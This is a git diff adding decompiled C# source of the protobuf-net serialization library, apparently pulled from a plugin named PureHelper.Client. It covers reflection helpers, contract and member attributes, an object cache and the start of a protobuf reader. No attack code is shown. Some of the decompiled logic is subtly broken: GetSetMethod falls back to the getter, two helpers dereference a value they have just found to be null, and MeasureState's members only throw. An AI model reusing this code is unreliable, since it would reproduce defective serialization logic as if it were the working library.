+ if ((object)type == typeof(Type)) + { + return ProtoTypeCode.Type; + } + return ProtoTypeCode.Unknown; + } + } + + internal static Type GetUnderlyingType(Type type) + { + return Nullable.GetUnderlyingType(type); + } + + internal static bool IsValueType(Type type) + { + return type.IsValueType; + } + + internal static bool IsSealed(Type type) + { + return type.IsSealed; + } + + internal static bool IsClass(Type type) + { + return type.IsClass; + } + + internal static bool IsEnum(Type type) + { + return type.IsEnum; + } + + internal static MethodInfo GetGetMethod(PropertyInfo property, bool nonPublic, bool allowInternal) + { + if ((object)property == null) + { + return null; + } + MethodInfo methodInfo = property.GetGetMethod(nonPublic); + if ((object)methodInfo == null && !nonPublic && allowInternal) + { + methodInfo = property.GetGetMethod(nonPublic: true); + if ((object)methodInfo == null && !methodInfo.IsAssembly && !methodInfo.IsFamilyOrAssembly) + { + methodInfo = null; + } + } + return methodInfo; + } + + internal static MethodInfo GetSetMethod(PropertyInfo property, bool nonPublic, bool allowInternal) + { + if ((object)property == null) + { + return null; + } + MethodInfo methodInfo = property.GetSetMethod(nonPublic); + if ((object)methodInfo == null && !nonPublic && allowInternal) + { + methodInfo = property.GetGetMethod(nonPublic: true); + if ((object)methodInfo == null && !methodInfo.IsAssembly && !methodInfo.IsFamilyOrAssembly) + { + methodInfo = null; + } + } + return methodInfo; + } + + internal static ConstructorInfo GetConstructor(Type type, Type[] parameterTypes, bool nonPublic) + { + return type.GetConstructor(nonPublic ? (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic) : (BindingFlags.Instance | BindingFlags.Public), null, parameterTypes, null); + } + + internal static ConstructorInfo[] GetConstructors(Type type, bool nonPublic) + { + return type.GetConstructors(nonPublic ? (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic) : (BindingFlags.Instance | BindingFlags.Public)); + } + + internal static PropertyInfo GetProperty(Type type, string name, bool nonPublic) + { + return type.GetProperty(name, nonPublic ? (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic) : (BindingFlags.Instance | BindingFlags.Public)); + } + + internal static object ParseEnum(Type type, string value) + { + return Enum.Parse(type, value, ignoreCase: true); + } + + internal static MemberInfo[] GetInstanceFieldsAndProperties(Type type, bool publicOnly) + { + BindingFlags bindingAttr = (publicOnly ? (BindingFlags.Instance | BindingFlags.Public) : (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic)); + PropertyInfo[] properties = type.GetProperties(bindingAttr); + FieldInfo[] fields = type.GetFields(bindingAttr); + MemberInfo[] array = new MemberInfo[fields.Length + properties.Length]; + properties.CopyTo(array, 0); + fields.CopyTo(array, properties.Length); + return array; + } + + internal static Type GetMemberType(MemberInfo member) + { + return member.MemberType switch + { + MemberTypes.Field => ((FieldInfo)member).FieldType, + MemberTypes.Property => ((PropertyInfo)member).PropertyType, + _ => null, + }; + } + + internal static bool IsAssignableFrom(Type target, Type type) + { + return target.IsAssignableFrom(type); + } + + internal static Assembly GetAssembly(Type type) + { + return type.Assembly; + } + + internal static byte[] GetBuffer(MemoryStream ms) + { + return ms.GetBuffer(); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtensible.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtensible.cs new file mode 100644 index 0000000..e7eccef --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtensible.cs @@ -0,0 +1,6 @@ +namespace ProtoBuf; + +public interface IExtensible +{ + IExtension GetExtensionObject(bool createIfMissing); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtension.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtension.cs new file mode 100644 index 0000000..b11906f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtension.cs @@ -0,0 +1,16 @@ +using System.IO; + +namespace ProtoBuf; + +public interface IExtension +{ + Stream BeginAppend(); + + void EndAppend(Stream stream, bool commit); + + Stream BeginQuery(); + + void EndQuery(Stream stream); + + int GetLength(); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtensionResettable.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtensionResettable.cs new file mode 100644 index 0000000..2c5ba1d --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IExtensionResettable.cs @@ -0,0 +1,6 @@ +namespace ProtoBuf; + +public interface IExtensionResettable : IExtension +{ + void Reset(); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IMeasuredProtoOutput.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IMeasuredProtoOutput.cs new file mode 100644 index 0000000..019eed6 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IMeasuredProtoOutput.cs @@ -0,0 +1,8 @@ +namespace ProtoBuf; + +public interface IMeasuredProtoOutput : IProtoOutput +{ + MeasureState Measure(T value, object userState = null); + + void Serialize(MeasureState measured, TOutput destination); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IProtoInput.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IProtoInput.cs new file mode 100644 index 0000000..84dbdc0 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IProtoInput.cs @@ -0,0 +1,6 @@ +namespace ProtoBuf; + +public interface IProtoInput +{ + T Deserialize(TInput source, T value = default(T), object userState = null); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IProtoOutput.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IProtoOutput.cs new file mode 100644 index 0000000..97335a5 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/IProtoOutput.cs @@ -0,0 +1,6 @@ +namespace ProtoBuf; + +public interface IProtoOutput +{ + void Serialize(TOutput destination, T value, object userState = null); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ImplicitFields.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ImplicitFields.cs new file mode 100644 index 0000000..602364b --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ImplicitFields.cs @@ -0,0 +1,8 @@ +namespace ProtoBuf; + +public enum ImplicitFields +{ + None, + AllPublic, + AllFields +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/MeasureState.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/MeasureState.cs new file mode 100644 index 0000000..0469cce --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/MeasureState.cs @@ -0,0 +1,21 @@ +using System; +using System.Runtime.InteropServices; + +namespace ProtoBuf; + +[StructLayout(LayoutKind.Sequential, Size = 1)] +public struct MeasureState : IDisposable +{ + public long Length + { + get + { + throw new NotImplementedException(); + } + } + + public void Dispose() + { + throw new NotImplementedException(); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/MemberSerializationOptions.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/MemberSerializationOptions.cs new file mode 100644 index 0000000..57c4dca --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/MemberSerializationOptions.cs @@ -0,0 +1,15 @@ +using System; + +namespace ProtoBuf; + +[Flags] +public enum MemberSerializationOptions +{ + None = 0, + Packed = 1, + Required = 2, + AsReference = 4, + DynamicType = 8, + OverwriteList = 0x10, + AsReferenceHasValue = 0x20 +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/NetObjectCache.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/NetObjectCache.cs new file mode 100644 index 0000000..1d4faa8 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/NetObjectCache.cs @@ -0,0 +1,191 @@ +using System; +using System.Collections.Generic; +using System.Runtime.CompilerServices; +using ProtoBuf.Meta; + +namespace ProtoBuf; + +internal sealed class NetObjectCache +{ + private sealed class ReferenceComparer : IEqualityComparer + { + public static readonly ReferenceComparer Default = new ReferenceComparer(); + + private ReferenceComparer() + { + } + + bool IEqualityComparer.Equals(object x, object y) + { + return x == y; + } + + int IEqualityComparer.GetHashCode(object obj) + { + return RuntimeHelpers.GetHashCode(obj); + } + } + + internal const int Root = 0; + + private MutableList underlyingList; + + private object rootObject; + + private int trapStartIndex; + + private Dictionary stringKeys; + + private Dictionary objectKeys; + + private MutableList List => underlyingList ?? (underlyingList = new MutableList()); + + internal object GetKeyedObject(int key) + { + if (key-- == 0) + { + if (rootObject == null) + { + throw new ProtoException("No root object assigned"); + } + return rootObject; + } + BasicList list = List; + if (key < 0 || key >= list.Count) + { + throw new ProtoException("Internal error; a missing key occurred"); + } + object obj = list[key]; + if (obj == null) + { + throw new ProtoException("A deferred key does not have a value yet"); + } + return obj; + } + + internal void SetKeyedObject(int key, object value) + { + if (key-- == 0) + { + if (value == null) + { + throw new ArgumentNullException("value"); + } + if (rootObject != null && rootObject != value) + { + throw new ProtoException("The root object cannot be reassigned"); + } + rootObject = value; + return; + } + MutableList list = List; + if (key < list.Count) + { + object obj = list[key]; + if (obj == null) + { + list[key] = value; + } + else if (obj != value) + { + throw new ProtoException("Reference-tracked objects cannot change reference"); + } + } + else if (key != list.Add(value)) + { + throw new ProtoException("Internal error; a key mismatch occurred"); + } + } + + internal int AddObjectKey(object value, out bool existing) + { + if (value == null) + { + throw new ArgumentNullException("value"); + } + if (value == rootObject) + { + existing = true; + return 0; + } + string text = value as string; + BasicList list = List; + int value2; + if (text == null) + { + if (objectKeys == null) + { + objectKeys = new Dictionary(ReferenceComparer.Default); + value2 = -1; + } + else if (!objectKeys.TryGetValue(value, out value2)) + { + value2 = -1; + } + } + else if (stringKeys == null) + { + stringKeys = new Dictionary(); + value2 = -1; + } + else if (!stringKeys.TryGetValue(text, out value2)) + { + value2 = -1; + } + if (!(existing = value2 >= 0)) + { + value2 = list.Add(value); + if (text == null) + { + objectKeys.Add(value, value2); + } + else + { + stringKeys.Add(text, value2); + } + } + return value2 + 1; + } + + internal void RegisterTrappedObject(object value) + { + if (rootObject == null) + { + rootObject = value; + } + else + { + if (underlyingList == null) + { + return; + } + for (int i = trapStartIndex; i < underlyingList.Count; i++) + { + trapStartIndex = i + 1; + if (underlyingList[i] == null) + { + underlyingList[i] = value; + break; + } + } + } + } + + internal void Clear() + { + trapStartIndex = 0; + rootObject = null; + if (underlyingList != null) + { + underlyingList.Clear(); + } + if (stringKeys != null) + { + stringKeys.Clear(); + } + if (objectKeys != null) + { + objectKeys.Clear(); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/PrefixStyle.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/PrefixStyle.cs new file mode 100644 index 0000000..52c44b5 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/PrefixStyle.cs @@ -0,0 +1,9 @@ +namespace ProtoBuf; + +public enum PrefixStyle +{ + None, + Base128, + Fixed32, + Fixed32BigEndian +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoAfterDeserializationAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoAfterDeserializationAttribute.cs new file mode 100644 index 0000000..a4c9eb8 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoAfterDeserializationAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.ComponentModel; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +[ImmutableObject(true)] +public sealed class ProtoAfterDeserializationAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoAfterSerializationAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoAfterSerializationAttribute.cs new file mode 100644 index 0000000..a7b4b17 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoAfterSerializationAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.ComponentModel; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +[ImmutableObject(true)] +public sealed class ProtoAfterSerializationAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoBeforeDeserializationAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoBeforeDeserializationAttribute.cs new file mode 100644 index 0000000..b083ec6 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoBeforeDeserializationAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.ComponentModel; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +[ImmutableObject(true)] +public sealed class ProtoBeforeDeserializationAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoBeforeSerializationAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoBeforeSerializationAttribute.cs new file mode 100644 index 0000000..fb22337 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoBeforeSerializationAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.ComponentModel; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +[ImmutableObject(true)] +public sealed class ProtoBeforeSerializationAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoContractAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoContractAttribute.cs new file mode 100644 index 0000000..792d354 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoContractAttribute.cs @@ -0,0 +1,160 @@ +using System; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Interface, AllowMultiple = false, Inherited = false)] +public sealed class ProtoContractAttribute : Attribute +{ + private int implicitFirstTag; + + private ushort flags; + + private const ushort OPTIONS_InferTagFromName = 1; + + private const ushort OPTIONS_InferTagFromNameHasValue = 2; + + private const ushort OPTIONS_UseProtoMembersOnly = 4; + + private const ushort OPTIONS_SkipConstructor = 8; + + private const ushort OPTIONS_IgnoreListHandling = 16; + + private const ushort OPTIONS_AsReferenceDefault = 32; + + private const ushort OPTIONS_EnumPassthru = 64; + + private const ushort OPTIONS_EnumPassthruHasValue = 128; + + private const ushort OPTIONS_IsGroup = 256; + + public string Name { get; set; } + + public int ImplicitFirstTag + { + get + { + return implicitFirstTag; + } + set + { + if (value < 1) + { + throw new ArgumentOutOfRangeException("ImplicitFirstTag"); + } + implicitFirstTag = value; + } + } + + public bool UseProtoMembersOnly + { + get + { + return HasFlag(4); + } + set + { + SetFlag(4, value); + } + } + + public bool IgnoreListHandling + { + get + { + return HasFlag(16); + } + set + { + SetFlag(16, value); + } + } + + public ImplicitFields ImplicitFields { get; set; } + + public bool InferTagFromName + { + get + { + return HasFlag(1); + } + set + { + SetFlag(1, value); + SetFlag(2, value: true); + } + } + + internal bool InferTagFromNameHasValue => HasFlag(2); + + public int DataMemberOffset { get; set; } + + public bool SkipConstructor + { + get + { + return HasFlag(8); + } + set + { + SetFlag(8, value); + } + } + + public bool AsReferenceDefault + { + get + { + return HasFlag(32); + } + set + { + SetFlag(32, value); + } + } + + public bool IsGroup + { + get + { + return HasFlag(256); + } + set + { + SetFlag(256, value); + } + } + + public bool EnumPassthru + { + get + { + return HasFlag(64); + } + set + { + SetFlag(64, value); + SetFlag(128, value: true); + } + } + + public Type Surrogate { get; set; } + + internal bool EnumPassthruHasValue => HasFlag(128); + + private bool HasFlag(ushort flag) + { + return (flags & flag) == flag; + } + + private void SetFlag(ushort flag, bool value) + { + if (value) + { + flags |= flag; + } + else + { + flags = (ushort)(flags & ~flag); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoConverterAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoConverterAttribute.cs new file mode 100644 index 0000000..658e541 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoConverterAttribute.cs @@ -0,0 +1,8 @@ +using System; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = true)] +public class ProtoConverterAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoEnumAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoEnumAttribute.cs new file mode 100644 index 0000000..14c92fc --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoEnumAttribute.cs @@ -0,0 +1,31 @@ +using System; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Field, AllowMultiple = false)] +public sealed class ProtoEnumAttribute : Attribute +{ + private bool hasValue; + + private int enumValue; + + public int Value + { + get + { + return enumValue; + } + set + { + enumValue = value; + hasValue = true; + } + } + + public string Name { get; set; } + + public bool HasValue() + { + return hasValue; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoException.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoException.cs new file mode 100644 index 0000000..69317b1 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoException.cs @@ -0,0 +1,27 @@ +using System; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +public class ProtoException : Exception +{ + public ProtoException() + { + } + + public ProtoException(string message) + : base(message) + { + } + + public ProtoException(string message, Exception innerException) + : base(message, innerException) + { + } + + protected ProtoException(SerializationInfo info, StreamingContext context) + : base(info, context) + { + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoIgnoreAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoIgnoreAttribute.cs new file mode 100644 index 0000000..e8fcb22 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoIgnoreAttribute.cs @@ -0,0 +1,8 @@ +using System; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false, Inherited = true)] +public class ProtoIgnoreAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoIncludeAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoIncludeAttribute.cs new file mode 100644 index 0000000..1898ad8 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoIncludeAttribute.cs @@ -0,0 +1,37 @@ +using System; +using System.ComponentModel; +using ProtoBuf.Meta; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)] +public sealed class ProtoIncludeAttribute : Attribute +{ + public int Tag { get; } + + public string KnownTypeName { get; } + + public Type KnownType => TypeModel.ResolveKnownType(KnownTypeName, null, null); + + [DefaultValue(DataFormat.Default)] + public DataFormat DataFormat { get; set; } + + public ProtoIncludeAttribute(int tag, Type knownType) + : this(tag, ((object)knownType == null) ? "" : knownType.AssemblyQualifiedName) + { + } + + public ProtoIncludeAttribute(int tag, string knownTypeName) + { + if (tag <= 0) + { + throw new ArgumentOutOfRangeException("tag", "Tags must be positive integers"); + } + if (string.IsNullOrEmpty(knownTypeName)) + { + throw new ArgumentNullException("knownTypeName", "Known type cannot be blank"); + } + Tag = tag; + KnownTypeName = knownTypeName; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoMapAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoMapAttribute.cs new file mode 100644 index 0000000..73b9261 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoMapAttribute.cs @@ -0,0 +1,13 @@ +using System; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field)] +public class ProtoMapAttribute : Attribute +{ + public DataFormat KeyFormat { get; set; } + + public DataFormat ValueFormat { get; set; } + + public bool DisableMap { get; set; } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoMemberAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoMemberAttribute.cs new file mode 100644 index 0000000..f723192 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoMemberAttribute.cs @@ -0,0 +1,217 @@ +using System; +using System.Reflection; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = false, Inherited = true)] +public class ProtoMemberAttribute : Attribute, IComparable, IComparable +{ + internal MemberInfo Member; + + internal MemberInfo BackingMember; + + internal bool TagIsPinned; + + private string name; + + private DataFormat dataFormat; + + private int tag; + + private MemberSerializationOptions options; + + public string Name + { + get + { + return name; + } + set + { + name = value; + } + } + + public DataFormat DataFormat + { + get + { + return dataFormat; + } + set + { + dataFormat = value; + } + } + + public int Tag => tag; + + public bool IsRequired + { + get + { + return (options & MemberSerializationOptions.Required) == MemberSerializationOptions.Required; + } + set + { + if (value) + { + options |= MemberSerializationOptions.Required; + } + else + { + options &= ~MemberSerializationOptions.Required; + } + } + } + + public bool IsPacked + { + get + { + return (options & MemberSerializationOptions.Packed) == MemberSerializationOptions.Packed; + } + set + { + if (value) + { + options |= MemberSerializationOptions.Packed; + } + else + { + options &= ~MemberSerializationOptions.Packed; + } + } + } + + public bool OverwriteList + { + get + { + return (options & MemberSerializationOptions.OverwriteList) == MemberSerializationOptions.OverwriteList; + } + set + { + if (value) + { + options |= MemberSerializationOptions.OverwriteList; + } + else + { + options &= ~MemberSerializationOptions.OverwriteList; + } + } + } + + public bool AsReference + { + get + { + return (options & MemberSerializationOptions.AsReference) == MemberSerializationOptions.AsReference; + } + set + { + if (value) + { + options |= MemberSerializationOptions.AsReference; + } + else + { + options &= ~MemberSerializationOptions.AsReference; + } + options |= MemberSerializationOptions.AsReferenceHasValue; + } + } + + internal bool AsReferenceHasValue + { + get + { + return (options & MemberSerializationOptions.AsReferenceHasValue) == MemberSerializationOptions.AsReferenceHasValue; + } + set + { + if (value) + { + options |= MemberSerializationOptions.AsReferenceHasValue; + } + else + { + options &= ~MemberSerializationOptions.AsReferenceHasValue; + } + } + } + + public bool DynamicType + { + get + { + return (options & MemberSerializationOptions.DynamicType) == MemberSerializationOptions.DynamicType; + } + set + { + if (value) + { + options |= MemberSerializationOptions.DynamicType; + } + else + { + options &= ~MemberSerializationOptions.DynamicType; + } + } + } + + public MemberSerializationOptions Options + { + get + { + return options; + } + set + { + options = value; + } + } + + public int CompareTo(object other) + { + return CompareTo(other as ProtoMemberAttribute); + } + + public int CompareTo(ProtoMemberAttribute other) + { + if (other == null) + { + return -1; + } + if (this == other) + { + return 0; + } + int num = tag.CompareTo(other.tag); + if (num == 0) + { + num = string.CompareOrdinal(name, other.name); + } + return num; + } + + public ProtoMemberAttribute(int tag) + : this(tag, forced: false) + { + } + + internal ProtoMemberAttribute(int tag, bool forced) + { + if (tag <= 0 && !forced) + { + throw new ArgumentOutOfRangeException("tag"); + } + this.tag = tag; + } + + internal void Rebase(int tag) + { + this.tag = tag; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoPartialIgnoreAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoPartialIgnoreAttribute.cs new file mode 100644 index 0000000..36e13f5 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoPartialIgnoreAttribute.cs @@ -0,0 +1,18 @@ +using System; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Class, AllowMultiple = true, Inherited = false)] +public sealed class ProtoPartialIgnoreAttribute : ProtoIgnoreAttribute +{ + public string MemberName { get; } + + public ProtoPartialIgnoreAttribute(string memberName) + { + if (string.IsNullOrEmpty(memberName)) + { + throw new ArgumentNullException("memberName"); + } + MemberName = memberName; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoPartialMemberAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoPartialMemberAttribute.cs new file mode 100644 index 0000000..41b42ea --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoPartialMemberAttribute.cs @@ -0,0 +1,19 @@ +using System; + +namespace ProtoBuf; + +[AttributeUsage(AttributeTargets.Class, AllowMultiple = true, Inherited = false)] +public sealed class ProtoPartialMemberAttribute : ProtoMemberAttribute +{ + public string MemberName { get; private set; } + + public ProtoPartialMemberAttribute(int tag, string memberName) + : base(tag) + { + if (string.IsNullOrEmpty(memberName)) + { + throw new ArgumentNullException("memberName"); + } + MemberName = memberName; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoReader.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoReader.cs new file mode 100644 index 0000000..8d524e4 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ProtoReader.cs @@ -0,0 +1,1387 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using ProtoBuf.Meta; + +namespace ProtoBuf; + +public sealed class ProtoReader : IDisposable +{ + private Stream source; + + private byte[] ioBuffer; + + private TypeModel model; + + private int fieldNumber; + + private int depth; + + private int ioIndex; + + private int available; + + private long position64; + + private long blockEnd64; + + private long dataRemaining64; + + private WireType wireType; + + private bool isFixedLength; + + private bool internStrings; + + private NetObjectCache netCache; + + private uint trapCount; + + internal const long TO_EOF = -1L; + + private SerializationContext context; + + private const long Int64Msb = long.MinValue; + + private const int Int32Msb = int.MinValue; + + private Dictionary stringInterner; + + private static readonly UTF8Encoding encoding = new UTF8Encoding(); + + private static readonly byte[] EmptyBlob = new byte[0]; + + [ThreadStatic] + private static ProtoReader lastReader; + + public int FieldNumber => fieldNumber; + + public WireType WireType => wireType; + + public bool InternStrings + { + get + { + return internStrings; + } + set + { + internStrings = value; + } + } + + public SerializationContext Context => context; + + public int Position => checked((int)position64); + + public long LongPosition => position64; + + public TypeModel Model => model; + + internal NetObjectCache NetCache => netCache; + + [Obsolete("Please use ProtoReader.Create; this API may be removed in a future version", false)] + public ProtoReader(Stream source, TypeModel model, SerializationContext context) + { + Init(this, source, model, context, -1L); + } + + [Obsolete("Please use ProtoReader.Create; this API may be removed in a future version", false)] + public ProtoReader(Stream source, TypeModel model, SerializationContext context, int length) + { + Init(this, source, model, context, length); + } + + [Obsolete("Please use ProtoReader.Create; this API may be removed in a future version", false)] + public ProtoReader(Stream source, TypeModel model, SerializationContext context, long length) + { + Init(this, source, model, context, length); + } + + private static void Init(ProtoReader reader, Stream source, TypeModel model, SerializationContext context, long length) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (!source.CanRead) + { + throw new ArgumentException("Cannot read from stream", "source"); + } + reader.source = source; + reader.ioBuffer = BufferPool.GetBuffer(); + reader.model = model; + reader.dataRemaining64 = ((reader.isFixedLength = length >= 0) ? length : 0); + if (context == null) + { + context = SerializationContext.Default; + } + else + { + context.Freeze(); + } + reader.context = context; + reader.position64 = 0L; + reader.available = (reader.depth = (reader.fieldNumber = (reader.ioIndex = 0))); + reader.blockEnd64 = long.MaxValue; + reader.internStrings = RuntimeTypeModel.Default.InternStrings; + reader.wireType = WireType.None; + reader.trapCount = 1u; + if (reader.netCache == null) + { + reader.netCache = new NetObjectCache(); + } + } + + public void Dispose() + { + source = null; + model = null; + BufferPool.ReleaseBufferToPool(ref ioBuffer); + if (stringInterner != null) + { + stringInterner.Clear(); + stringInterner = null; + } + if (netCache != null) + { + netCache.Clear(); + } + context = null; + } + + internal int TryReadUInt32VariantWithoutMoving(bool trimNegative, out uint value) + { + if (available < 10) + { + Ensure(10, strict: false); + } + if (available == 0) + { + value = 0u; + return 0; + } + int num = ioIndex; + value = ioBuffer[num++]; + if ((value & 0x80) == 0) + { + return 1; + } + value &= 127u; + if (available == 1) + { + throw EoF(this); + } + uint num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 7; + if ((num2 & 0x80) == 0) + { + return 2; + } + if (available == 2) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 14; + if ((num2 & 0x80) == 0) + { + return 3; + } + if (available == 3) + { + throw EoF(this); + } + num2 = ioBuffer[num++]; + value |= (num2 & 0x7F) << 21; + if ((num2 & 0x80) == 0) + { + return 4; + } + if (available == 4) + { + throw EoF(this); + } + num2 = ioBuffer[num]; + value |= num2 << 28; + if ((num2 & 0xF0) == 0) + { + return 5; + } + if (trimNegative && (num2 & 0xF0) == 240 && available >= 10 && ioBuffer[++num] == byte.MaxValue && ioBuffer[++num] == byte.MaxValue && ioBuffer[++num] == byte.MaxValue && ioBuffer[++num] == byte.MaxValue && ioBuffer[++num] == 1) + { + return 10; + } + throw AddErrorData(new OverflowException(), this); + } + + private uint ReadUInt32Variant(bool trimNegative) + { + uint value; + int num = TryReadUInt32VariantWithoutMoving(trimNegative, out value); + if (num > 0) + { + ioIndex += num; + available -= num; + position64 += num; + return value; + } + throw EoF(this); + } + + private bool TryReadUInt32Variant(out uint value) + { + int num = TryReadUInt32VariantWithoutMoving(trimNegative: false, out value); + if (num > 0) + { + ioIndex += num; + 